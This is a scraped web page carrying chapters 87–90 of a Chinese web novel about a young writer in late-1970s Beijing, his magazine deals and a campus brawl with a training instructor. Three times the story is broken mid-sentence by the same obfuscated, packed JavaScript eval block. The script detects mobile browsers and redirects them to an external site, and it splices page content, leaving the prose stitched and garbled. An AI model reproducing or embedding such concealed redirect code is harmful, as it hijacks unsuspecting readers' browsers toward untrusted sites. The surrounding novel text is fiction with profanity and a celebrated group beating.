;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402267|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,卫生间有上下水。” 洪师傅说声好,招呼王师傅干活。 高远摸出烟来给两位师傅分别递上根,帮忙点了火。 俩师傅更卖力气了,把皮管子往水龙头上一接,排水管塞进地漏里,通上电。 高远赶忙把一早洗了一半的脏衣服塞进洗衣机,扭开面板上的圆咕噜扭,将其调到注水选项上。 一股自来水顺着洗衣机的进水口喷涌而出,注入到洗衣桶内。 哗啦啦的声音响了起来,洗衣机开始工作,进入了洗涤状态中。 洪师傅一瞧,笑着对高远说道:“行家啊,之前用过?” 高远打了个哈哈说道:“看别人用过,又不是很难,就记在心里了。” “得了,洗衣机工作正常,我们撤了。” “坐下喝口水吧。” “不了不了,还有不少货得送呢,留步吧您二位。” 两位师傅走了。 姐姐坐在沙发上研究着使用说明书,道:“有了洗衣机确实方便很多啊,还有脱水功能,这个脱水功能就是甩干吧?” 高远点头道:“没错儿,就是甩干。” 傍晚,老妈下班回来后震惊了一下,“哪来的洗衣机啊?” 高雅笑嘻嘻说道:“我弟给家里买的,说是要解放您的双手,让您别那么劳累了。” 张雪梅瞪高远一眼,没好气儿地斥责道:“有俩钱儿你就乱花,这台洗衣机不便宜吧?” 高远一笑,道:“480,也不是乱花,您这双手娇贵,拿起手术刀就是一条人命,咱可一定得把这双手保养好了。” 张雪梅撇他一眼,心里美滋滋的。 高跃民也回来了,一眼瞧见洗衣机,也大为惊讶,问清楚后,他笑道:“儿子说得对,这钱花得值,儿子这是心疼你呢。” 张雪梅叹声气,走进卧室拿了沓前回来,递给高远道:“妈不是说这钱花得值不值,你心疼妈,妈心里很高兴,但是这钱不能让你花,咱家买台洗衣机的钱还是能拿得出来的,你收着,听话。” 高远连忙推拒道:“不不不,这是儿子孝敬您的,无论如何也不能收,您这样就不把儿子当一家人了。” 张雪梅看看高跃民。 高跃民笑道:“一家人推来让去的,传出去也不怕被人笑话,儿子有这份孝心,你心安理得笑纳就是了。” 高雅也劝道:“是啊妈,我弟是个小财主,给家里做点贡献不是应当应分的嘛,等我将来挣了钱,我指定不会比他做得少,您就别见外了。” 张雪梅拧不过这爷儿仨,摇头苦笑着把手撤回来,说道:“你俩都是好孩子,妈就不跟你俩客气了。” “对了,还有这个。”高远又把鞋盒子拿过来,打开将鞋取出来,笑道:“您试试看合不合脚,不合适我再拿回去换。” 张雪梅心里那叫一个美啊,儿子长大了,知道孝敬老妈了。 她坐下试了试,又站起来走了一圈,笑着说:“特别合适,远子,小雅,你俩等着啊,妈给你俩做好吃的。” “我想吃馄饨。” “好,那就吃馄饨。” 高跃民笑道:“多包点儿,我也想吃馄饨。” 张雪梅一瞪眼:“我看你像个馄饨!” 第87章 钱来了 顾小白在北影厂招待所对付了一宿。 他昨晚到达北影厂时已经快九点钟了,好在来之前跟施雯心主任通过电话,施主任安排梁晓声接待一下他。 要不然他今晚就得拿着介绍信去找其他宾馆住宿了。 第二天一早,顾小白和梁晓声去食堂吃饭。 两人打了饭后落座。 顾小白问梁晓声道:“梁老师,这个小高老师好说话不?” 梁晓声呵呵一笑,道:“你只要把钱给到位,他就很好说话。” 顾小白似有所悟,“钱串子啊,小高老师的家庭不富裕?” “那倒不是,高远家是双职工,父母刚落实了政策重返工作岗位,一个是大学老师,一个是外科医生,家庭条件算得上优渥。” “那他怎么还……把钱看得那么重啊?”顾小白疑惑不解。 梁晓声又笑,“用他的话说,凭自个儿本事挣来的钱,该拿的为什么不拿?” 顾小白哑然,“这话倒也没错。” 看在大家是同行的面子上,梁晓声善意地提醒他道:“顾老师,高远那家伙一肚子好故事,有很多奇思妙想,人也年轻,创作动力非常足。” 顾小白会意,点头道:“感谢梁老师的提点,我知道该怎么跟小高老师谈了。您放心,这次过来,我们杂志社诚意十足。” 说着,他拍了拍放在桌子上的皮包。 暗示这是把稿费一并带过来了。 “快吃吧,吃完后我带您去跟高远见个面。” 两人开吃,吃过早饭后梁晓声蹬着借来的28大杠驮着顾小白去了学院路。 到了后敲开门,却扑了个空。 高雅对梁晓声说:“我弟一早就陪着我小叔去厂里报到了,你们大概走两岔去了。” “嗐,这事儿闹的,肯定走两岔了。得嘞小雅,你忙着吧,我们回去啦。” 两人又一身臭汗回到了北影厂。 高远此时正坐在汪阳办公室里闲聊,高跃林坐在旁边人模狗样地陪着。 他今天穿戴一新,上身是一件雪白的的确良衬衣,下面穿着条海军蓝裤子,衬衣扎进裤子里,脚蹬三接头。 头发也是精心打理过的,抹着层发蜡,四六分,苍蝇站上面都得打出溜滑。 他早晨一亮相就把高远雷得外焦里嫩。 您这也太正式了吧? 高跃林振振有词:废话,我不得给厂领导和同事们留个好印象嘛。 高远不好多说什么,随便吧您呐。 “小子,王好为同志跟我打过招呼了,说她们创作小组需要人手,跃林同志过来后邀请他加入自己的创作组,这事儿你怎么看?” 汪阳笑眯眯的。 他怎么可能不清楚,高远提前走通了王好为的门路,把他小叔塞了过去。 高远笑着说:“不管是我,还是我小叔,都听从组织安排。” “你可真是个小机灵鬼儿,行了,带你小叔去跟王导演见面吧,然后去厂人事科办理一下入职手续,领个工作证就齐活了。” 汪阳赶紧打发他走人,跟他多说一句话都怕被这孙子气出个好歹来。 高远瞥一眼小叔。 高跃林心领神会,起身向厂里最大的Boss告辞。 跟王好为导演见面的过程就很愉快了。 王导对高跃林的加盟表示欢迎,又给他介绍了创作团队的其他组成人员,摄影摄像、服装道具、布景美术等相人。 她让高跃林先跟着后勤负责人学习一下剧组的管理模式,至于说今后如何安排他的工作,等下一部戏开拍后再决定。 高跃林自是乐呵呵地答应下来。 高远刚准备带着他去人事科报个到,梁晓声和顾小白找了过来。 “可算找到你了。”梁晓声先给高远做介绍,“这位是《**故事会》的编辑顾小白同志。” 高远端详着顾小白,长得跟孙红雷似的,他热情握手道:“顾老师您好。” 顾小白也有点吃惊,太年轻了! 他咧出一口大白牙,跟他握了握,笑道:“不敢不敢,您喊我小顾就成。” 姿态这么低? 高远一笑,松开了手。 “您才是真正的年轻有为,我这人说话直,您别介意啊。”顾小白又说道。 “您客气了。” “您的《太极宗师》我们编辑部和主编都看过了,特别好,所以,主编特意派我过来跟您接洽一下,交个朋友。” “过奖了,大老远的还麻烦您跑一趟,贵杂志已经决定刊登了?” 顾小白点点头,道:“已经决定在下一期杂志上刊登,我们《故事会》是双月刊,下一期杂志是下月10号,还有……14天。 今儿过来跟您见面,还有件事情要麻烦您。” “您请说。”高远笑道。 “您能不能把下半部的稿子给我们啊?我们主编的意思是,要全文刊载,他担心分成两部分发表,首先吸引力就不强了。其次,读者的情绪也要照顾到嘛。 让他们等俩月再看下半部,哎哟,那个滋味儿,抓心挠肝的。” 顾小白就差没把“缺德”俩字说出口了。 高远愣住了,我已经把稿子全给老梁了啊。 坏了,把这茬忘了。 梁晓声咳嗽了一声,尴尬地说道:“顾老师,这事儿不怪小高老师,我的错,是我没把下半部分的稿件一并寄给你们。” 其实顾小白也猜了个大差不差,这是作者们惯用的小伎俩,明明已经写完了,投稿时只给一半,是为了跟杂志社要个好价钱。 他也看出来了,高远年轻,不懂这个潜规则,但梁晓声是个老油条,他给高远把着关,自己还真不好多说什么。 “啊,没关系没关系,只要全文完结了就好啊,我就是有点担心高老师没写完,我们还得等一等,耽搁了下月的杂志发行就不好了。 大家都知道,经过十年浩劫,现如今的读者们如饥似渴,对各类杂志、刊物的需求量是非常大的。 我也不瞒各位说,这年头,哪家杂志社都缺内容,尤其缺有较高水准的内容,这也是我们主编看过您的作品后立刻把我派过来跟您会面的主要原因。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402268|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小白说得尽心竭诚。 高远点点头,看一眼梁晓声,对老哥深感满意,老哥这是真为自己着想啊。 “顾老师,有个问题我问一下啊。据我说知,贵杂志是32开的小册子,每一期大概90—100页左右,我这本《太极宗师》,总字数就超过了五万字。 也就是说,我这一部作品就占到了你们杂志整期内容的近一半,全文刊登,对你们来说合适吗?”高远问道。 顾小白笑着说:“一点问题都没有,我还是那句话,各家杂志社都缺内容。再说句不怕您笑话的话吧,我们有几期因为找不到合适的故事,只能拼命往里面塞插图。 给您这个故事50页,绝对没问题的。” 高远放心了,说:“那行吧,最后一个问题……” 顾小白是个明白人,他连忙从皮包里取出一个信封来递给高远,“稿酬我给您带过来了,我们按照千字7块钱的标准支付给您。 另外主编还托我给您带句话,让您抽时间去明珠做客,去我们杂志社指导指导工作,我们竭诚欢迎。” 很上道啊。 高远眉开眼笑,接过来摸摸厚度,道:“可不敢当,有机会我一定会去的。那我就不客气了。” “您收好,收好。” “中午一起吃个饭吧。” 顾小白专程跑这一趟就是为了跟高远处关系的,他爽快应下,说:“我请客,擅作主张去全聚德吧,实话说,我还没尝过京城的烤鸭什么味儿呢。” “您远来是客,我们这些当主人的怎么能让您请客吃饭呢,我请我请。想吃烤鸭好说啊,北影厂食堂的大师傅手艺一绝,那啥,梁老师,辛苦您帮着安排一下子呗。” “你小子就会支使我,得嘞,我这就去安排。” 顾小白嘿嘿笑道:“高老师,那我也不打扰您了,我跟梁老师一起过去,先把您写的那下半部看完。” 高远又跟他握了握手,说道:“成,那就中午见。” 梁晓声和顾小白告辞了。 李晨声走过来问道:“小高,你写了个什么故事啊?我看这位编辑迫不及待的样子。” 高远诧异道:“导演没跟您说过吗?” 李晨声摇摇头,道:“还真没有。” 王好为说道:“我对武打片向来不感兴趣,这你知道的。” 李晨声却眼珠子一亮,说:“武打故事啊,那我可太喜欢了,小高,你把原稿给我看看呗。” “没问题啊,回头拿给您。” “先讲一讲,你先给大家伙儿讲一讲。” 负责《瞧这一家子》后期剪辑、制作的这帮人一听,全兴趣盎然地凑了过来,怂恿着高远讲故事。 高远瞧着王好为,苦笑道:“导演,不耽误您工作吧?” 王好为笑着说:“没关系,差不多弄完了,我也有点好奇你到底写了个什么故事了。” 高远笑道:“那好,我就大体上讲一讲吧。话说在清朝道光年间,河北玉田县有个年轻人名叫杨昱乾,此人酷爱武学,立志以武强身,遂遍访名师……” 第88章 搞定长期来钱的道儿 高远把《太极宗师》的故事讲完。 李晨声揉了揉眼睛,感慨道:“写得真好,我还以为你这个武打故事只是打打杀杀呢,没想到连感情戏都刻画得如此感人。 尤其是最后,杨昱乾大战仇家七大高手,更是让人热血沸腾。 高儿,厂长说没说,这片子什么时候启动拍摄?” “说是得明年了,今年的拍摄指标已经完成,没有多余资金了。”高远说道。 李晨声点点头,说道:“还好还好,我要参与到这部片子的拍摄中去。” 不知道什么时候,李文化也过来了,他想了想后说道:“不可否认,故事绝对是个好故事,但有一个问题,高老师描写的那些武打场景,想全部实现可不太容易。” 这话说到了点子上。 高远也考虑过这个问题,这年头,想要在国内影坛找一个武术指导太难了。 他看一眼李文化,问道:“李导有什么好建议吗?” 李文化琢磨片刻,抬头说道:“两种方式,第一,在全国各大体育院校遴选优秀武术教员加入到剧组中来,帮演员们设计武打动作; 第二,请香港的龙虎武师前来助阵。” “您知道龙虎武师?”高远有些惊讶了。 李文化谦虚一笑,说道:“多少听说过一些,说是港片造就的一个特殊工种,替身、特效、配角什么的,这些人虽说辛苦,却不少挣钱。 其中有些高手干了一段时间后摸索出一套成熟的武打套路,就转型成为武术指导了,在剧组里还挺吃香的。” 这个高远知道,比如说袁和平、袁祥仁的父亲袁小田。 他只是惊讶于李文化的学识之广。 笑了笑,高远一瓢凉水浇过去,“从香港请人来帮忙,这个不太现实吧?” 李文化也叹声气,说道:“不是不太现实,是太不现实了。” 王好为沉思片刻后说道:“也不是一点希望都没有,如果汪厂长愿意帮忙的话,倒是可以请傅奇同志帮着问一下,有没有武术指导愿意化名来提供些帮助。” “对啊,我怎么没想到这层。”李文化一拍大腿说道。 高远有点迷糊,他问道:“傅奇同志是哪位啊?” 李晨声嘿嘿笑道:“那可是个大人物。” “您别故弄玄虚的,吊人胃口么这不是。”高远翻了白眼儿。 《瞧这一家子》的制片人王彬笑呵呵给高远做了介绍:“小高你知道有不少国企在香港设立了办事处吧?” 高远点头道:“我知道,像中行、华润、文汇报等国企都在香港设立了分公司或者分社。” 王彬点头微笑,继续道:“咱们文艺战线也不甘落后,也有在港机构,其中,长城电影公司就是咱们文艺战线驻港机构的佼佼者,这位傅奇同志,担任的就是长城电影公司的总经理。 你说他是不是个大人物啊?” 高远明白了,“哦,左派啊,那肯定是个大人物。” 大家都笑了。 王彬说道:“你小子还知道左派这个称呼,这倒让我有点意外了。” 高远一撇嘴,说道:“您看不起谁呢?我家先生叫江南之。” 好吧,你要这么说,我们就哑口无言,辩无可辩了。 “这么说,只要汪厂长肯开口,傅奇同志愿意帮忙,这部戏还是有希望请到香港电影界的同仁前来帮忙的?”高远又问道。 王彬点点头,说:“理论上可以,但还是要看具体操作。我说你小子着哪门子急啊,不是还没立项么,连导演都没确定下来呢,现在说这个也太早了些。 另外我觉得,老李第一条建议也是有可行性的。 咱们全国那么多体育院校,还找不出几个武术教员来? 即便找不出来,不是还有业余武术学校嘛。 我看,等剧组筹备好了,你们可以去什刹海体校看一看,据我所知,什刹海体校就有几名水平很高的武术老师。” 他这么一说,高远暂时摁下了请外来和尚过来帮忙的想法。 中英之间关于香港回归还没开始正式谈判呢,这时候提出来邀请香港武师前来助阵真不现实。 看来,只能走第一条路了。 高远也并不担心国内武术老师设计出来的武打动作在视觉效果上不如人意。 因为他心里备着几个不错的候选。 聊了一会儿,很快到中午了。 高远邀请王彬、李晨声共进午餐。 王彬岁数大了,笑着说:“我就不掺和你们这些年轻人的聚会了,让晨声去就行。” 李晨声挠着头跟高远走了。 跟随两人一起去食堂的还有小叔那个臭不要脸的玩意儿。 高远请客,大厨使了把力气,外皮酥脆肉质鲜嫩的烤鸭端上桌,还给配了四道炒菜。 顾小白吃得赞不绝口,酒没喝多少,十六卷鸭子进了肚。 “我也跟李老师有同样的感觉,高老师,您对感情戏的描写太深刻了,看得我热泪盈眶的。”顾小白边吃边说道。 “您过奖了,都是来源于生活。” “您有女朋友了?” 高远一愣,见几人不怀好意地笑着,他脸一红,说道:“没有没有,我的意思是,我比较善于观察生活。” 大家都乐得不行了。 看破不说破啊。 笑过之后,顾小白说道:“我真诚地邀请您长期给我们杂志社供稿,不论是武打故事,还是言情故事,只要您写,我们就刊登。” “贵杂志社有具体的收稿标准吗?我换一个说法,我若是给贵社供稿,贵社对我的创作尺度有什么具体要求吗?” 对写故事挣钱,高远可太感兴趣了。 他脑子里就故事多,后世那些经典作品,随便找一本抄抄就能把这个年代的读者们看高潮了。 并且,这是个长期饭票,不用费多大脑力就能把钱挣到手。 当然,费的是墨水和稿纸。 顾小白蹙眉想了片刻,抬起头说道:“您能具体讲一讲吗?” 高远吃个藕片,放下筷子后说道:“我打个比方,比如说,我要写个长篇连载,第一篇是《一头猪的故事》,第二篇是《另一头猪的故事》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402269|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,第三篇是《一锅红烧肉的故事》,你们收不收?” “你这哪是故事啊,你这是电视连续剧。”梁晓声哈哈大笑道。 “这思路,绝了。”李晨声冲高远竖起了大拇指。 “不对,照你这写法,第三篇应该是《公猪母猪和一窝小猪的故事》,这故事才有连续性。”高跃林敏锐地找到大侄子话中的一个逻辑性错误。 顾小白都听傻了,木木地问道:“要前两头猪都是公的呢?” 高跃林勃然大怒,“那第三篇不就是《一锅红烧肉的故事》了吗?你咋这么死性呢?” 其他三位:“哈哈哈哈哈……” 高远笑着说:“大概就是这么个思路吧,如果您还理解不了的话,那我再举个例子,比如说我写了一个爱情片段,一对青年男女在公园约会。 姑娘刷刷冲小伙子放电,小伙子遭不住了,把姑娘怼到树干上,先摸手后摸肘,顺着胳膊往上走……” “停停停!这尺度也忒大了,您思想也忒解放了!可别吓唬我啊,您敢写我们绝对不敢登,我们虽然搞的是通俗文学,但也是有底线的,您保守一点,保守一点!” 顾小白像是被高远踩了尾巴,瞪着眼珠子说道。 高远一笑,说道:“也就是说,我可以通俗,但不能低俗、媚俗,是这个意思吧?” 顾小白嗯了一声,道:“您写武打故事就行啊,武打故事里掺杂一些爱情元素,即便有问题也能遮盖一下。” 高远说道:“我知道了,那我以后就多写点武打故事。” 妥了,今后不缺来钱的道儿了。 第二天一早,顾小白带着下半部稿子离开了京城。 时间如白驹过隙。 转眼78级新生开始报到。 高远回到阔别已久的寝室,见哥儿几个都在,笑着调侃道:“你们几个怎么没去迎接新生?” 梁左栽歪在床上,有气无力地说道:“去干嘛?我又不想泡学妹。” 杨迎明丢过来一根烟,道:“我是有家室的人了,当然不排斥去帮忙,但今儿腰酸背痛的,懒得动。” 高远一乐,挑着眉毛问道:“公粮交多了?” “交什么公粮?我又不是农民,不需要交公粮交提留啊。”杨迎明不懂这个梗。 陈建功回过味儿来,哈哈笑道:“这小子挤兑你在家时光忙活嫂子,才搞得浑身酸痛,连迎新纳新这种活动都没力气参加的。” 杨迎明把整包烟丢过来,砸在高远身上,“孙贼,**思想太肮脏了。” 高远接住烟盒,笑着道:“闹玩儿您还当真了,咋还开不起玩笑了呢。” 正说着,苏牧提着个大旅行箱走了进来,正式通知大家:“这学期我搬到302来了。” 葛兆光哀嚎道:“又来个白吃白喝的。” 大家哄堂大笑。 苏牧也笑了,他把旅行箱往原本属于左永邦的铺位上一放,边整理衣服边说道:“同志们,咱们的好日子到头了,后天开始军训,我听说这次过来的教官是卫戍区的,一个个的都特别严格。” 第89章 军训场上的冲突 梁左义正词严道:“我们是不会被区区军训这点困难打倒的!” 苏牧揶揄他道:“老梁你真够劲儿。” 葛兆光一笑,道:“咱们这帮人里面,也就小苏你和高老师没插过队,连老梁都在平谷农村待过一段时间,农活儿干多了,军训那点儿运动量还真不算啥。 你们俩还是琢磨琢磨怎么熬过这段艰难的时间吧。” 提起这个来高远就很犯愁,说实话,他是有点怵头的,平时疏于锻炼,身子骨很虚,让自个儿站一个小时的军姿,再踢一个小时正步,能要了他半条命。 不行,得想办法开溜。 他打定了主意,却不表露出来,笑嘻嘻说道:“老葛你这是看不起谁呢?哥们儿也是堂堂一条汉子,站着尿尿的主儿,哥哥们能坚持,哥们儿照样能坚持。” 苏牧推推小眼镜,也是一副英勇无畏的架势,道:“我也不怂的。” 葛兆光一乐,冲两人竖起大拇指,赞道:“牛掰!” 第二天,叶君远和生活委员丁夏抬着一个大纸箱子走进班里,箱子里装着65式军装,就是那种没军衔,中山装样式的绿军装。 官兵们领口上有红领章,给同学们发的这一批啥都没有,还是两个口袋的。 军官才配穿四个口袋的,区别就在这里。 衣服发下来,同学们很兴奋。 高远很不兴奋。 不大会儿,颜乾虎和文体委员高小刚又抬着一个大纸箱进来了,这一箱是解放鞋。 于是又发。 同学们更兴奋了。 高远领到一双43码的,更不兴奋了。 愁死个人了,这摆明就是要大干一场的意思。 赵建福老师紧随其后走了进来,对同学们说了一番认真对待此次军训,努力展现出北大学子优良精神面貌的话。 第三天一大早,准确地说是早上五点半,楼道里传来一声急促的哨响。 那哨声瞬间将大家伙儿从香甜的梦中拽了出来。 “快快快,集合了!抓紧穿衣服下楼!”杨迎明猛地坐了起来,边穿衣服边招呼大家。 高远想死。 昨天晚上太热了,寝室里的破风扇叶子转悠得跟老牛拉破车一样慢,还不敢开窗户,一开窗,蚊子飞进来,有多少血都不够它们吸的。 他辗转反侧到一点多才睡着的。 刚刚梦到温柔大姐姐,两人四目相对,浓情蜜意,他把大姐姐怼在树干上,正先摸手后摸肘,顺着胳膊往上走,结果…… 草了! 他骂骂咧咧爬起来,不紧不慢提上裤子,光膀子把上衣穿上,又蹬了解放鞋,跟随大部队迷迷糊糊出门下了楼,奔五四操场。 广场上集结了77、78两个年级的数千名学生。 以班级为单位正在列队。 文学77级队列前,一名绿色军装,扎着武装带,身材笔挺面容严肃的年轻教官双目圆睁,瞪视着这支还算严整的队伍。 “全体立正!讲一下!”他大声喊道。 几名当过兵的同学立马下意识地挺胸抬头+稍息。 其他同学面面相觑。 教官没绷住,低头噗嗤,接着抬头,自嘲一笑道:“我把你们当成我在部队上带的兵了,大家都放松一下。看得出来,同学们里面是有几个退伍后考进北大来的,你们还没有忘记在部队大熔炉里经受过的刻苦训练。 也可以说,这股子军人的气质已经深深刻进了你们的骨头里! 这很好! 我希望你们几个把这股子优良、铁血、一往无前、不怕牺牲的军人气质传递给全班同学。 不! 从这一刻起,你们不再是一名大学生,你们每一个人都只是普通一兵! 你们务必要拿出**军人敢于同敌人战斗,不怕流血牺牲的坚定意志来,认真对待这次军训!” 一番话说得这帮大学生们热血沸腾,都恨不得喊口号了。 高远蔫儿蔫儿的,他只盼梁晓声快点过来救自己出火海。 嗯,他昨天给老梁打了电话,声泪俱下地求老梁来救自己一条狗命。 老梁笑疯了,还端着没答应。 气的高远直接上大招,你不来是吧,好啊,我直接跟导演说,我要进《李志远》那个组。 老梁立马答应下来。 “现在点名!点到的喊到!” 教官先作了自我介绍,他叫肖卫国。 接着,倒背着手的肖卫国拿出一个夹子来打开,按照花名册开始点名:“叶君远!” “到!” “陈建功!” “到!” “刘志达!” “到!” “颜干虎!” 颜乾虎:“……我该不该喊到啊?” 同学们:“哈哈哈哈……” 肖卫国怒了,脸红脖子粗地大声道:“笑什么笑?都给我闭嘴!全体都有,立正站好!” 颜乾虎弱弱地解释道:“教官,那字儿不念干,我叫颜乾虎,乾坤的乾。” 肖卫国一张老脸腾地红了,文化这块儿确实是自己的短板啊。 但他也不能纵容这帮大学生在他面前放肆,两个大步走到颜乾虎面前,虎目死死盯住他,唾沫星子不要钱一般往外喷射。 “我允许你说话了?大学生了不起啊?多认识俩字儿显你文化水平高啊?组织纪律性还要不要了?我告诉你,部队是最讲组织纪律性的! 人民子弟兵是最讲服从命令听指挥的! 我没允许你说话,你就得给我憋着! 要讲话,先喊报告!得到我允许后你才能讲! 明白了吗?” “明白了。”颜乾虎被他鄙视得不敢与他对视,低着头轻声说道。 “妈的,你把我的话当耳旁风了?说话前先喊报告!” “报告。” “讲。” “我听明白了。” “你是个娘们儿吗?哼哼唧唧的,大点声儿,我听不到!” “报告!” “讲!” “我听明白了!”颜乾虎怒吼道。 “因为你,耽误了大家的时间,按照规定,要对你进行惩罚。不过大家是一个集体,不仅要有集体荣誉感,还要有错一起担,一人有错全体受罚! 听我的口令,全体都有,向右转! 三公里越野,跑步走!”肖卫国板着大黑脸发布命令。 同学们这时候不激动不兴奋了,这他妈哪是军训啊,这分明是被当做生产队的驴使唤呢。 但也不敢不服从教官的命令,这年头,人民**不管在广大人民群众心目中,还是在这帮大学生心目中,都是神圣的,是至高无上的,是捍卫老百姓切身利益的守护神。 这是一种坚定不移的信念。 大家伙儿围着操场跑起来,四列纵队松松垮垮的。 颜乾虎边跑边哭丧着脸说:“对不起啊同学们,都怪我不好,连累大家了。” 另一列纵队,跟他并肩的高远窝了一肚子火。 别人敢怒不敢言,高远很不屑肖卫国这种训练方式,他愤愤不平道:“跟你有什么关系?麻辣隔壁的,那王八蛋自个儿不识字儿,在大家伙儿面前丢人现眼了,觉得抹不开面儿故意找茬呢!” 后面的叶君远忙说道:“高远,可不能这么说,教 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“我可去**吧!”高远停住脚步,恶狠狠瞪着他,咬着牙说道:“哥们儿见过不讲理的,没见过你这么不讲理的,自个儿犯了错,不思改正,为了维护那点脸面却把错误转嫁到同学们身上,你面子就那么值钱吗? 来,你跟我说说,你的脸面多少钱一斤,上称约约,我买了!” 队伍一个急刹车,大家都不跑了,目瞪口呆看着突然发飙的高老师。 被高远当众挑衅了权威,肖卫国太阳穴突突直跳,一股热血直冲头顶。 他冲进队伍中,怒目圆睁盯住高远,咬牙切齿低吼道:“**骂谁?” “老子骂的就是你!” “你再骂一句试试!” “王八蛋!**配当教官吗?你什么素质?不要以为穿上这身衣裳就可以随心所欲为所欲为!我们尊重你是因为你是人民子弟兵! 同学们听你的命令是因为大家相信你能给我们起到榜样作用! 你自个儿做错了事情却连承担的勇气都没有,这就是你口口声声宣扬的部队优良传统? 部队培养你不是让你摆架子耍威风的,学校聘请你过来给我们当教官搞军训也不是让你维护你那点可怜的自尊! 连这个都搞不清楚,你凭什么认为可以领导我们? 凭你教官的身份?做梦呢?真以为大学生好欺负啊!” 肖卫国懵了,他面红耳赤,一句话都反驳不了,因为面前这个年轻人说的句句都在点子上。 就在他瞠目结舌之际,陈建功走了过来,他拉着颜乾虎,面容严肃地说道:“肖教官,咱公说公职,今儿是军训开始的第一天,我们班大多数同学都没经历过军训,对部队的规章制度都不熟悉。 所以,犯错是难免的。 你念错了老颜的名字,闹了笑话,老颜指出来,这也没什么错吧? 你呢?不虚心接受就算了,却把他的话视作挑战你权威的行为,抓住这个因由就罚大家跑圈。 大家也没说啥吧? 不还是听从你的命令跑起来了吗? 咋的,还不许别人有意见啊? 部队是纪律严明,但也不存在有意见不让反映这条规定吧?” 肖卫国脸通红,还在维护他那点自尊心,“上级服从下级,这是铁律!有不同意见可以提,但要在科目完成之后再提!” 高远哼了声,转身就走,“谁他妈爱参加就参加吧,哥们儿不奉陪了。” “你给我回来!”肖卫国追过去,一把抓住了高远的肩膀。 第90章 同仇敌忾,越闹越大 这边的动静很快吸引了全体师生的关注。 因为高远已经跟肖卫国打起来了。 闹大了! 302这帮人可不是吃素的,眼见着同学们围成一个圈,把高远和肖卫国圈在里面。 陈建功一个眼色,梁左、葛兆光和苏牧心领神会,跑上前联手将肖卫国摁在地上施以老拳。 颜乾虎也不含糊,闹剧因他而起,他当然得拳脚相助。 小查等几个女生一看,得,咱们也别慎着了,一起上吧。 军训的第一天,可怜的肖卫国教官就被抓了个满脸花。 你肖卫国再勇猛再顽强,也不想想,双拳难敌四手,好虎架不住群狼呐。 况且77级这帮子人有90%都在农村待过,一个个身大力不亏的,哪个不是把打架的好手啊。 系主任费振刚和班主任赵建福匆忙跑过来的时候,肖卫国已经被揍得满地打滚了。 “停住!都给我停住!” 费振刚急了,先把小查拽开,又去拽王晓萍。 赵建福左手抓住黄蓓佳的胳膊,右手擒住龚玉的手腕,一抬腿踹在苏牧的小腿肚子上,也大声喊道:“干什么呀你们这是?殴**民子弟兵,你们这是要**吗?” **这个罪名可太严重了。 同学们闻言全都住手了。 费振刚一看,肖卫国浑身是土,鼻青脸肿,趴在地上狼狈不堪。 这他妈是往茅坑里扔石头,激起多大的民愤啊。 他自始至终相信,北大学子们不会无缘无故**,肖卫国被痛殴,原因一定出在肖卫国身上。 费振刚低下身子,将肖卫国扶起来,问道:“肖教官没事吧?” 肖卫国脸都丢尽了,瞪着俩眼珠子说道:“费主任你看我像没事的吗?这帮学生,太无法无天了!对**军人痛下**,他们想干什么? 想要与人民为敌,与人民军队为敌吗? 我严重怀疑,这批学生中,存在现行反**分子! 就是他!” 说着,肖卫国双眼喷火,怒指着高远。 费振刚皱了皱眉头。 旁边的陈建功一巴掌扇在肖卫国的手指头上,愤怒道:“扯什么王八犊子?咋还颠倒黑白了呢?” 査建英说道:“这哪是颠倒黑白啊,分明是倒打一耙,是恶人先告状!” 梁左冷笑道:“好大的帽子,你要说高老师是现行反**,那我给你扣一顶利用职权欺压人民群众的帽子你敢接着吗?” “三大纪律八项注意都被你记到狗脑子里去了,**也好意思开牙!”黄蓓佳也不是好惹的,掐着腰,一张嘴就往外蹦脏字儿。 同学们群情激奋,七嘴八舌控诉着肖卫国的所作所为。 高远咧嘴笑着不说话,但在内心感慨,哥在同学们心目中威望真高啊。 现场乱作一团。 费振刚脑袋嗡嗡的,他高声喊道:“都给我闭嘴!一个一个说,到底怎么回事?” 此时,部队**也闻讯赶来。 一看肖卫国那熊样,**顿时气不打一处来,黑着脸问费振刚道:“怎么回事?谁把我的兵打成这样了?” 费振刚苦笑道:“**,我也正在调查。” “赶紧查,查出来后严惩不贷!” “不用查了,我打的,来吧,我看你打算怎么严惩我。”高远站了出来。 “我也打了。”陈建功! “也有我一份儿。”梁左! “我踹了两脚打了不知道多少拳。”葛兆光! “这王八蛋胸口上那个脚印是拜我所赐。”苏牧! “我给他屁股蛋子来了好几下。”颜乾虎! 